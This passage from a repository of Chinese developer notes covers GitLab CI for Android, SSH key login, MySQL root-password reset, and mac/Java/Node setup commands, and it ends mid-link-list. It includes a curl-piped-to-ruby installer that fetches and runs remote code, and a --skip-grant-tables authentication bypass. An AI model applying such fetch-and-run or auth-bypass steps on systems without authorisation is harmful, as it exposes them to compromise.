{\n                Toast.makeText(this, \"login succeed1\", Toast.LENGTH_SHORT).show()\n                val intent = Intent(this,HomeActivity::class.java)\n                startActivity(intent)\n            }\n        }\n\n        register!!.setOnClickListener {\n            Toast.makeText(this, \"the function has not open ...\", Toast.LENGTH_SHORT).show()\n        }\n\n    }\n\n}\n\n\n```\n\n\n\n\n\n当然实现的代码就非常简单啦，只是可能我们在刚开始接触这门语言的时候有一些的不理解。大家可以看一下上面的代码，要是有什么不理解的地方欢迎issue。\n\n\n\n源码地址：https://github.com/linsir6/Kotlin\n\n欢迎star，issue，fork\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Linux/Android-GitLabCi配置.md",
    "content": "# Android GitLabCi的配置\n\n> 近期接到了这样一个小任务，由于在测试过程中我们需要经常打包apk，这个任务量说大不大说小也不小吧，然后决定配置一个ci，让 gitlab自动来做这件事情。\n\n## 服务器环境\n\n服务器:centos7\n\n## 任务列表\n\n- 安装open JDK\n- 安装sdk\n- 安装gradle\n- 安装gitlab-ci-multi-runner\n\n### 安装jdk\n\n```\nyum search java-1.8.0\nyum install java-1.8.0-openjdk.x86_64\n```\n\n查看安装结果：\n```\n# java -version\n\nopenjdk version \"1.8.0_131\"\nOpenJDK Runtime Environment (build 1.8.0_131-b12)\nOpenJDK 64-Bit Server VM (build 25.131-b12, mixed mode)\n```\n\n配置环境变量：\n在当前用户的bash_profile或者/etc/profile配置一下环境变量和JAVA_HOME\neg:\n```\nexport JAVA_HOME=/opt/soft/java\nexport CLASSPATH=:/lib:/jre/lib\nexport PATH=$PATH:$JAVA_HOME/bin\n```\n``source profile``  让配置立即生效\n\n\n### 安装sdk\n\n现在sdk都是由apkmanager统一管理的\n\n下载sdktools\n\n```\ncd /opt\n\nmkdir androidSdk\n\nwget https://dl.google.com/android/repository/sdk-tools-linux-3859397.zip\n\nunzip sdk-tools-linux-3859397.zip\n```\n\n在/opt/androidsdk/tools/bin下面有sdkmanager的命令，我们可以利用``sdkmanager --list``查看我们已经安装的内容，还可以用例如这样的命令``sdkmanager build-tools;19.1.0``，来安装我们需要的内容。装完之后我们还是要习惯性的``sdkmanager --licenses``看一下有没有没有同意的licenses.\n\n配置sdk环境变量\n\n```\nPATH=$PATH:/opt/androidsdk/tools/bin\nPATH=$PATH:/opt/androidsdk/platform-tools\nexport PATH\nexport ANDROID_HOME=/opt/androidsdk\nexport ANDROID_NDK_HOME=/opt/androidsdk/ndk-bundle\n```\n``source profile``  让配置立即生效\n\n\n运行``adb version``\n\n```\nAndroid Debug Bridge version 1.0.39\nRevision 3db08f2c6889-android\nInstalled as /opt/androidsdk/platform-tools/adb\n```\n\n如果看到以上内容，就代表成功了。\n\n\n\n\n### 安装gradle\n\n创建gradle目录解压并安装\n\n```\ncd /opt\nmkdir gradle\ncd gradle\nwget https://services.gradle.org/distributions/gradle-4.0.1-bin.zip\nunzip gradle-4.0.1-bin.zip\n```\n\n配置环境变量(可以在/etc/profile下面配置，也可以在用户的bash_profile下面配置)\n```\nPATH=$PATH:/opt/androidsdk/tools/bin\nPATH=$PATH:/opt/gradle/gradle-4.0.1/bin\nPATH=$PATH:/opt/androidsdk/platform-tools\nexport PATH\n\nexport ANDROID_HOME=/opt/androidsdk\nexport ANDROID_NDK_HOME=/opt/androidsdk/ndk-bundle\n```\n\n检查是否配置成功\n```\ngradle -version\n```\n\n### 安装gitlab-ci-multi-runner\n\n```\nyum install gitlab-ci-multi-runner\n```\n\n注册runner：\n\n```\n$ sudo gitlab-ci-multi-runner register\n\nPlease enter the gitlab-ci coordinator URL (e.g. https://gitlab.com )\nhttps://mygitlab.com/ci\nPlease enter the gitlab-ci token for this runner\nxxx-xxx-xxx\nPlease enter the gitlab-ci description for this runner\nmy-runner\nINFO[0034] fcf5c619 Registering runner... succeeded\nPlease enter the executor: shell, docker, docker-ssh, ssh?\ndocker\nPlease enter the Docker image (eg. ruby:2.1):\nnode:4.5.0\nINFO[0037] Runner registered successfully. Feel free to start it, but if it's\nrunning already the config should be automatically reloaded!\n```\n\n更新runner\n\n```\n  # For Debian/Ubuntu\n  sudo apt-get update\n  sudo apt-get install gitlab-ci-multi-runner\n\n  # For CentOS\n  sudo yum update\n  sudo yum install gitlab-ci-multi-runner\n```\n\n配置文件默认会在``/etc/gitlab-runner/config.toml``\n\n简单配置：\n```\nconcurrent = 1\ncheck_interval = 0\n```\n\n示例配置文件:\n```\n[[runners]]\n  name = \"test\"\n  url = \"http://your-domain.com/ci\"\n  token = \"your-token\"\n  executor = \"docker\"\n  [runners.docker]\n    tls_verify = false\n    image = \"node:4.5.0\"\n    privileged = false\n    disable_cache = false\n    volumes = [\"/cache\"]\n  [runners.cache]\n  [runners.kubernetes]\n    host = \"\"\n    cert_file = \"\"\n    key_file = \"\"\n    ca_file = \"\"\n    image = \"\"\n    namespace = \"\"\n    privileged = false\n    cpus = \"\"\n    memory = \"\"\n    service_cpus = \"\"\n    service_memory = \"\"\n```\n\n\n## 配置构建任务\n\n在项目的根目录下，添加``.gitlab-ci.yml``文件，\n\n```\nimage: openjdk:8-jdk\nstages:\n  - build\n  - test\nbuild:\n  tags:\n    - test-env\n  stage: build\n  script:\n    - ./gradlew assembleDebug\n  artifacts:\n    paths:\n    - app/build/outputs/\n```\n\n这个就是简单的，build一下打包出一个debug版本的apk，当然我们还可以编辑出各种脚本，我们也可以在这里编写代码的测试的，这个都是可以的。\n\n这里面有一个``tags:- test-env``的概念，这个就是决定我们要选择哪一个runner。\n\n\n\n效果图：\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fl9do2q6fvj31kw0ewgmn.jpg)\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fl9dopk7rlj31kw1ien66.jpg)\n\n----\n\n最后补充一下，我们本次是在centos7上面配置嘛，遇到了很多权限方面的问题，简单补充一下：\n\n\n![权限](https://ws3.sinaimg.cn/large/006tKfTcly1fl9ddsdj99j30sa09ot9t.jpg)\n\n这里面是分成9位的，前三位是自己的权限，中间三位是同组人的权限，最后三位是其它人的权限。\n我们可以根据自己的实际情况进行分配权限，最大就是``chmod -777 xxx``这个就是最高级别的权限了，就是谁都可以动的了，大家要合理决定是否给出这么大权限，当然如果这是一个文件夹我们还可以加一个``-r``参数，这样就会递归分配它下面的目录。\n\n我们也可以通过``chown -R --recursive``把文件夹的所有者分配给别人。\n\n\n### 参考\n\n- [使用Gitlab搭建Android和iOS的持续集成和持续发布环境（二）](http://www.jianshu.com/p/a9bb0dd8d284)\n- [Setting up GitLab CI for Android projects](https://about.gitlab.com/2016/11/30/setting-up-gitlab-ci-for-android-projects/)\n- [劈荆斩棘：Gitlab 部署 CI 持续集成](http://www.cnblogs.com/xishuai/p/gitlab-ci.html)\n- [GitLab-CI安装教程](http://blog.csdn.net/u013096666/article/details/76521426)\n- [centos7中安装JDK](http://blog.devwiki.net/index.php/2017/07/20/centos-install-jdk.html)\n- [centos7中安装Android SDK](http://blog.devwiki.net/index.php/2017/07/20/centos-install-android-sdk.html)\n- [centos7中安装gradle](http://blog.devwiki.net/index.php/2017/07/20/centos-install-gradle.html)\n- [gradle build提示You have not accepted the license agreements of the following SDK components](http://blog.csdn.net/xlyrh/article/details/54667633)\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/Mac平台重新设置MySQL的root密码.md",
    "content": "````\n\n\n1.  停止 mysql server.  通常是在 '系统偏好设置' > MySQL > 'Stop MySQL Server'\n2.  打开终端，输入：sudo /usr/local/mysql/bin/mysqld_safe --skip-grant-tables\n3.  sudo /usr/local/mysql/bin/mysql -u root\n4.  UPDATE mysql.user SET authentication_string=PASSWORD('新密码') WHERE User='root';\n5.  重启mysql\n````\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/SSH原理与应用.md",
    "content": "# SSH原理与应用\n\nssh在程序员的生活中还是非常常见的，ssh具有很多种功能，也可以用在很多种场合。\n\n## 什么是SSH\n\nSSH是一种网络协议，用于计算机之间的加密登录\n\n当我们在一台电脑上面，运用ssh登录了另一台计算机，我们便可以认为，这种登录是安全的了，因为即使中途被截获，我们的密码也不会泄漏。\n\n最早的时候，互联网通信都是明文通信，一旦被截获，内容就暴露无疑。1995年，芬兰学者Tatu Ylonen设计了SSH协议，将登录信息全部加密，成为互联网安全的一个基本解决方案，迅速在全世界获得推广，目前已经成为Linux系统的标准配置。\n\n需要指出的是，SSH只是一种协议，存在多种实现，既有商业实现，也有开源实现。本文针对的实现是OpenSSH，它是自由软件，应用非常广泛。\n\n此外，本文只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH，会用到另一种软件PuTTY，这需要另文介绍。\n\n## 用法\n\n1. 登录远程服务器\n    ``ssh root@host``\n\n2. 如果当前用户与远程用户同名\n    ``ssh host``\n\n3. ssh默认的端口是22，如果我们要修改登录的默认端口\n    ``ssh -p xx root@host``    \n\n## 中间人攻击\n\nssh采用的是非对称加密，也就是要采用公钥和私钥的方式进行加密。\n\n整个通信的过程是这样的：\n1. 远程主机收到用户的登录请求，将公钥发送给用户\n2. 用户使用这个公钥，将登录的密码进行加密，发送给后台\n3. 远程主机，用自己的私钥进行解密，判断用户名密码是否正确\n\n整个过程看起来是很完美的，但是容易产生一种中间人攻击的现象：\n\n我们发送出去的登录的信息，被中途截获了，一个中间人，将他的公钥发送过来，这样用户加密之后，他便可以用自己的私钥解密了，这样他就拥有了我们的密码，并且可以一直在中间监听我们的通话。\n\n当然，这是基于口令的通信方式，我们也可以采用基于密钥的加密方式：\n\n第二种级别（基于密匙的安全验证）需要依靠密匙，也就是你必须为自己创建一对密匙，并把公用密匙放在需要访问的服务器上。 如果你要连接到SSH服务器上，客户端软件就会向服务器发出请求，请求用你的密匙进行安全验证。服务器收到请求之后，先在你在该服务器的家目录下寻找你的公用密匙，然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致，服务器就用公用密匙加密“质询”（challenge）并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。\n\n这样我们便可以防止中间人攻击的现象了。\n\n\n## 口令登录\n\n```\n$ ssh user@host\nThe authenticity of host 'host (12.18.429.21)' can't be established.\nRSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.\nAre you sure you want to continue connecting (yes/no)?\n```\n这段话的意思是，无法确认host主机的真实性，只知道它的公钥指纹，问你还想继续连接吗？\n所谓\"公钥指纹\"，是指公钥长度较长（这里采用RSA算法，长达1024位），很难比对，所以对其进行MD5计算，将它变成一个128位的指纹。上例中是98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d，再进行比较，就容易多了。\n很自然的一个问题就是，用户怎么知道远程主机的公钥指纹应该是多少？回答是没有好办法，远程主机必须在自己的网站上贴出公钥指纹，以便用户自行核对。\n假定经过风险衡量以后，用户决定接受这个远程主机的公钥。\n\n```\nAre you sure you want to continue connecting (yes/no)? yes\n```\n系统会出现一句提示，表示host主机已经得到认可。\n```\nWarning: Permanently added 'host,12.18.429.21' (RSA) to the list of known hosts.\n```\n然后，会要求输入密码。\n```\nPassword: (enter password)\n```\n如果密码正确，就可以登录了。\n当远程主机的公钥被接受以后，它就会被保存在文件$HOME/.ssh/known_hosts之中。下次再连接这台主机，系统就会认出它的公钥已经保存在本地了，从而跳过警告部分，直接提示输入密码。\n每个SSH用户都有自己的known_hosts文件，此外系统也有一个这样的文件，通常是/etc/ssh/ssh_known_hosts，保存一些对所有用户都可信赖的远程主机的公钥。\n\n\n\n## 公钥登录\n\n使用密码登录，每次都必须输入密码，非常麻烦。好在SSH还提供了公钥登录，可以省去输入密码的步骤。\n\n所谓\"公钥登录\"，原理很简单，就是用户将自己的公钥储存在远程主机上。登录的时候，远程主机会向用户发送一段随机字符串，用户用自己的私钥加密后，再发回来。远程主机用事先储存的公钥进行解密，如果成功，就证明用户是可信的，直接允许登录shell，不再要求密码。\n这种方法要求用户必须提供自己的公钥。如果没有现成的，可以直接用ssh-keygen生成一个：\n\n```\n$ ssh-keygen\n```\n\n运行上面的命令以后，系统会出现一系列提示，可以一路回车。其中有一个问题是，要不要对私钥设置口令（passphrase），如果担心私钥的安全，这里可以设置一个。\n运行结束以后，在$HOME/.ssh/目录下，会新生成两个文件：id_rsa.pub和id_rsa。前者是你的公钥，后者是你的私钥。\n这时再输入下面的命令，将公钥传送到远程主机host上面：\n\n```\n$ ssh-copy-id user@host\n```\n\n好了，从此你再登录，就不需要输入密码了。\n如果还是不行，就打开远程主机的/etc/ssh/sshd_config这个文件，检查下面几行前面\"#\"注释是否取掉。\n\n```\nRSAAuthentication yes\nPubkeyAuthentication yes\nAuthorizedKeysFile .ssh/authorized_keys\n```\n\n然后，重启远程主机的ssh服务。\n\n```\n    // ubuntu系统\n　　service ssh restart\n　　// debian系统\n　　/etc/init.d/ssh restart\n```\n\n## authorized_keys文件\n\n远程主机将用户的公钥，保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串，只要把它追加在authorized_keys文件的末尾就行了。\n\n这里不使用上面的ssh-copy-id命令，改用下面的命令，解释公钥的保存过程：\n\n```\n$ ssh user@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub\n```\n\n这条命令由多个语句组成，依次分解开来看：（1）\"$ ssh user@host\"，表示登录远程主机；（2）单引号中的mkdir .ssh && cat >> .ssh/authorized_keys，表示登录后在远程shell上执行的命令：（3）\"$ mkdir -p .ssh\"的作用是，如果用户主目录中的.ssh目录不存在，就创建一个；（4）'cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub的作用是，将本地的公钥文件~/.ssh/id_rsa.pub，重定向追加到远程文件authorized_keys的末尾。\n写入authorized_keys文件后，公钥登录的设置就完成了。\n\n## 配置ssh config\n\n```\nvi ~/.ssh/config\n \n \n// 文件内容如下\n \nHost js //别名, 可以直接执行 ssh js\n \nHostName 172.16.6.84 //Host别名指向的服务器 IP\n \nUser zhangsan //登录所用的用户名\n \nPreferredAuthentications publickey //鉴权方式\n \nIdentityFile ~/.ssh/zhangsan.pem //认证所需的密钥\n```\n这样我们便可以通过``ssh js``来代替曾经的``ssh xxx@111.11.11.11``\n并且采用公钥+私钥的加密方式，不用输入密码，非常的方便。\n\n\n## 参考文献\n\n- [SSH原理与运用](http://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html)\n\n- [网络安全协议比较](http://blog.csdn.net/shizhixin/article/details/42459265)\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/mac上常用命令.md",
    "content": "# 记录一些mac上面常用的命令\n\n- 查看端口占用情况: ``lsof -i:5001``\n\n- kill掉进程: `` kill -15/-9 6327``\n\n- 查看/取消 隐藏文件命令\n\n    OS X（10.6~10.8) :\n    ``defaults write com.apple.Finder AppleShowAllFiles Yes && killall Finder``//显示隐藏文件\n\n    ``defaults write com.apple.Finder AppleShowAllFiles No && killall Finder`` //不显示隐藏文件\n\n    OS X 10.9+ :\n    ``defaults write com.apple.finder AppleShowAllFiles Yes && killall Finder`` //显示隐藏文件\n\n    ``defaults write com.apple.finder AppleShowAllFiles No && killall Finder`` //不显示隐藏文件\n\n- 根绝关键字查询占用情况: ``ps -ef|grep gradle``\n\n- 根绝关键字查询占用情况2: ``netstat -an|grep 8080``\n\n- 查看iterm2的配置: ``nano .zshrc`` 两个我比较喜欢的主题:1.jonathan  2.robbyrussell\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/mac本地生成ssh-key.md",
    "content": "进入当前路径\n```\n/Users/mac/.ssh/\n```\n\n\n![拥有id_rsa.pub](http://upload-images.jianshu.io/upload_images/2585384-4dfd502b058245c7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n如果没有这个文件的话：\n```\nssh-keygen -t rsa -C \"youremail@example.com\"\n```\n\n然后会有几个提示的问题，都可以不用管，直接回车就可以，完成之后这里面就会生成公钥。\n\n如果要是github要配置的话，只需要在账户的setting里面进行设置就可以(将.pub文件用文本阅读工具打开，然后全部复制粘贴到new ssh key就好)，如下图：\n\n\n![成功后的效果图](http://upload-images.jianshu.io/upload_images/2585384-aed9e786307f6fc9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/mac终端与服务器保持连接.md",
    "content": "> mac的终端与远程服务器连接之后，可能由于一段时间没有与服务器进行数据上的交互便断开了连接，现在可以利用如下的方法，保持终端与远程服务器的长期连接。\n\n编辑“ssh_config”文件：\n\n```\nsudo vi /etc/ssh/ssh_config\n\n```\n\n在Host *   下面加入:\n```\nServerAliveInterval 60 \n```\n\n最后用``:wq!``保存并退出即可。\n\n> 这句话的含义是，每隔60s客户端向服务器发送一个空包，这样就可以保持连接不被断开了。\n\n\n![结果图](http://upload-images.jianshu.io/upload_images/2585384-9f41d4ffabedc4dd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/nodejs与npm的更新.md",
    "content": "1 . 检查 Node的当前版本，使用命令\n\n````\nnode -v\n````\n\n----\n\n2 . 检查 npm的当前版本，使用命令\n\n````\nnpm -v\n````\n----\n\n3 .npm的更新\n\n````\nsudo npm install -g latest \n````\n----\n\n4 .清除npm cache\n\n````\nsudo npm cache clean -f\n````\n----\n\n5 .安装n模块\n\n````\nsudo npm install -g n\n````\n----\n\n6 .升级到最新版本\n\n````\n升级到制定版本：\nsudo n 6.5.11\n升级到最新的稳定版：\nsudo n stable\n````\n----\n\n7.成功之后，可以用第一条和第二条来检测一下版本即可。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/paw-for-mac.md",
    "content": ">paw: Easily build your HTTP requests, send and inspect server responses. Setup HTTP headers, URL parameters, JSON, form URL-encoded, or multipart body. Organize your requests in collection files, and generate client code.\n\n>Paw HTTP Client 是一款Mac上的HTTP客户端模拟测试工具，可以让Web开发者设置各种请求Header和参数，模拟发送HTTP请求，测试响应数据，支持OAuth, HTTP Basic Auth, Cookies等，这对于开发Web服务的应用很有帮助，非常实用的一款Web开发辅助工具。\n\n>下载链接：http://www.pc6.com/mac/182304.html\n\n![软件实用截图1](http://upload-images.jianshu.io/upload_images/2585384-d4fb2aa69af1f7c4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n![软件使用截图2](http://upload-images.jianshu.io/upload_images/2585384-81b67d7146326ef8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n在本软件中我们可以建立不同的项目，然后每个项目下面建立不同的请求，该软件支持所有的请求方式，也可以添加cookie等非常实用的功能，本软件非常适合web开发者，和一些经常测试网络接口的人。\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/一些mac上面安装环境的指令.md",
    "content": ">  以前，自己总是喜欢在配置服务器的过程中，用到什么命令上网找什么命令，感觉这样也挺方便的，但是随着做的东西的深入，和难度的增加，感觉总这样有点力不从心了，而且不知道为什么感觉Google的速度越来越慢了，所以打算写一篇文章，记住这些命令。\n\n1. 在mac上面安装brew\n**brew** 全称Homebrew，是Mac OSX上的软件包管理工具，能在Mac中方便的安装软件或者卸载软件。\n\n````\nruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n\n````\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/如何在mac上安装java1-8.md",
    "content": "1.首先应该检测一下目前电脑上拥有的java的版本：\n````\n/usr/libexec/java_home -V\n````\n----\n\n2.如果已经有java8了，就可以直接跳转到第四步：\n\n![拥有java1.8](http://upload-images.jianshu.io/upload_images/2585384-067a0e7b037c14dd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n3.没有java1.8，需要上网下载java1.8：\n下载链接：http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html\n\n----\n\n4.配置当前环境：\n````\nvi .bash_profile  #打开配置的文件\nsource .bash_profile #当配置完成后运行，让配置生效\n````\n配置语句，可以参考我的这个：\n````\nexport JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home\nexport PATH=$COCOS_CONSOLE_ROOT:$JAVA_HOME/bin:$PATH:.\nexport CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:.\n````\n\n给大家截个图看一下吧：\n\n![配置截图](http://upload-images.jianshu.io/upload_images/2585384-a010212ee14ef7e2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n当配置完千万要记得，要运行上面那条语句让整个文件生效。\n\n5.检查当前java版本：\n````\njava -version\n````\n就能看到我们配置的版本啦~\n````\njava version \"1.8.0_121\"\nJava(TM) SE Runtime Environment (build 1.8.0_121-b13)\nJava HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)\n````\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/MacNote/项目中遇到的单词.md",
    "content": "# 项目中遇到的单词\n\n\n| 单词 | 含义 |\n| --- | --- |\n| Compensate | 报酬 |\n|force|强迫\n|gas|汽油 气体\n|economy|节约 经济 理财\n|reform|n.改正; 改革，改良 --- vt.重新组成; 改革，革新\n|wedding|n.结合; 结婚 ---  v. 与…结婚\n|western|adj.有西方特征的; 西方的，西部的 --- n. 西方人；西部片，西部小说\n|bride|n. 新娘；[英俚]姑娘，女朋友\n|ceremony|n. 典礼，仪式；礼节，礼仪；客套，虚礼\n|traditional|传统\n|funeral|n. 葬礼;[口]麻烦事 --- adj. 丧葬的，出殡的\n|envelope|n. 信封，封皮；[生]包膜；[天]包层；[数]包迹\n|distribute|vt. 分配, 分给 --- 散发; 散播; 分布\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/READMENote.md",
    "content": "- [基础部分][54] \n    - [安全退出应用程序][110]\n    - [病毒][111]\n    - [超级管理员(DevicePoliceManager)][112]\n    - [程序的启动、卸载和分享][113]\n    - [代码混淆][114]\n    - [读取用户logcat日志][115]\n    - [短信广播接收者][116]\n    - [多线程断点下载][117]\n    - [黑名单挂断电话及删除电话记录][118]\n    - [横向ListView][119]\n    - [滑动切换Activity(GestureDetector)][120]\n    - [获取联系人][121]\n    - [获取手机及SD卡可用存储空间][122]\n    - [获取手机中所有安装的程序][123]\n    - [获取位置(LocationManager)][124]\n    - [获取应用程序缓存及一键清理][125]\n    - [开发中异常的处理][126]\n    - [开发中Log的管理][127]\n    - [快捷方式工具类][128]\n    - [来电号码归属地提示框][129]\n    - [来电监听及录音][130]\n    - [零权限上传数据][131]\n    - [内存泄漏][132]\n    - [屏幕适配][133]\n    - [任务管理器(ActivityManager)][134]\n    - [手机摇晃][135]\n    - [竖着的Seekbar][136]\n    - [数据存储][137]\n    - [搜索框][138]\n    - [锁屏以及解锁监听][139]\n    - [文件上传][140]\n    - [下拉刷新ListView][141]\n    - [修改系统组件样式][142]\n    - [音量及屏幕亮度调节][143]\n    - [应用安装][144]\n    - [应用后台唤醒后数据的刷新][145]\n    - [知识大杂烩][146]\n    - [资源文件拷贝的三种方式][147]\n    - [自定义背景][148]\n    - [自定义控件][149]\n    - [自定义状态栏通知][150]\n    - [自定义Toast][151]\n    - [adb logcat使用简介][152]\n    - [Android编码规范][153]\n    - [Android动画][154]\n    - [Android基础面试题][155]\n    - [Android入门介绍][156]\n    - [Android四大组件之ContentProvider][157]\n    - [Android四大组件之Service][158]\n    - [Ant打包][159]\n    - [Bitmap优化][160]\n    - [Fragment专题][161]\n    - [Home键监听][162]\n    - [HttpClient执行Get和Post请求][163]\n    - [JNI_C语言基础][164]\n    - [JNI基础][165]\n    - [ListView专题][166]\n    - [Parcelable及Serializable][167]\n    - [PopupWindow细节][168]\n    - [Scroller简介][169]\n    - [ScrollingTabs][170]\n    - [SDK Manager无法更新的问题][171]\n    - [Selector使用][172]\n    - [SlidingMenu][173]\n    - [String格式化][174]\n    - [TextView跑马灯效果][175]\n    - [WebView总结][176]\n    - [Widget(窗口小部件)][177]\n    - [Wifi状态监听][178]\n    - [XmlPullParser][179]\n    \n\n\n\n\n[1]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/%E8%87%AA%E5%AE%9A%E4%B9%89View%E8%AF%A6%E8%A7%A3.md        \"自定义View详解\" \n[2]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Activity%E7%95%8C%E9%9D%A2%E7%BB%98%E5%88%B6%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3.md  \"Activity界面绘制过程详解\" \n[3]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Activity%E5%90%AF%E5%8A%A8%E8%BF%87%E7%A8%8B.md    \"Activity启动过程\"\n[4]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Android%20Touch%E4%BA%8B%E4%BB%B6%E5%88%86%E5%8F%91%E8%AF%A6%E8%A7%A3.md    \"Android Touch事件分发详解\"\n[5]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/AsyncTask%E8%AF%A6%E8%A7%A3.md   \"AsyncTask详解\"\n[6]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/butterknife%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3.md   \"butterknife源码详解\"\n[7]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md   \"InstantRun详解\"\n[8]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/ListView源码分析.md   \"ListView源码分析\"\n[9]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/VideoView%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md   \"VideoView源码分析\"\n[10]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/View%E7%BB%98%E5%88%B6%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3.md   \"View绘制过程详解\"\n[11]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//SourceAnalysis/Netowork   \"网络部分\"\n[12]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection%E8%AF%A6%E8%A7%A3.md   \"HttpURLConnection详解\"\n[13]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection%E4%B8%8EHttpClient.md   \"HttpURLConnection与HttpClient\"\n[14]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/volley-retrofit-okhttp%E4%B9%8B%E6%88%91%E4%BB%AC%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9%E7%BD%91%E8%B7%AF%E6%A1%86%E6%9E%B6.md   \"volley-retrofit-okhttp之我们该如何选择网路框架\"\n[15]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Volley%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md   \"Volley源码分析\"\n[16]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit%E8%AF%A6%E8%A7%A3(%E4%B8%8A).md   \"Retrofit详解(上)\"\n[17]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit%E8%AF%A6%E8%A7%A3(%E4%B8%8B).md   \"Retrofit详解(下)\"\n[18]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E6%90%AD%E5%BB%BAnginx%2Brtmp%E6%9C%8D%E5%8A%A1%E5%99%A8.md   \"搭建nginx+rtmp服务器\"\n[19]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%E6%80%BB%E7%BB%93.md   \"视频播放相关内容总结\"\n[20]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E8%A7%86%E9%A2%91%E8%A7%A3%E7%A0%81%E4%B9%8B%E8%BD%AF%E8%A7%A3%E4%B8%8E%E7%A1%AC%E8%A7%A3.md   \"视频解码之软解与硬解\"\n[21]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E9%9F%B3%E8%A7%86%E9%A2%91%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.md   \"音视频基础知识\"\n[22]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/Android%20WebRTC%E7%AE%80%E4%BB%8B.md   \"Android WebRTC简介\"\n[23]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/Android%E9%9F%B3%E8%A7%86%E9%A2%91%E5%BC%80%E5%8F%91.md   \"Android音视频开发知识\"\n[24]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/DLNA%E7%AE%80%E4%BB%8B.md   \"DLNA简介\"\n[25]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/Glide%E7%AE%80%E4%BB%8B(%E4%B8%8A).md   \"Glide简介(上)\"\n[26]: 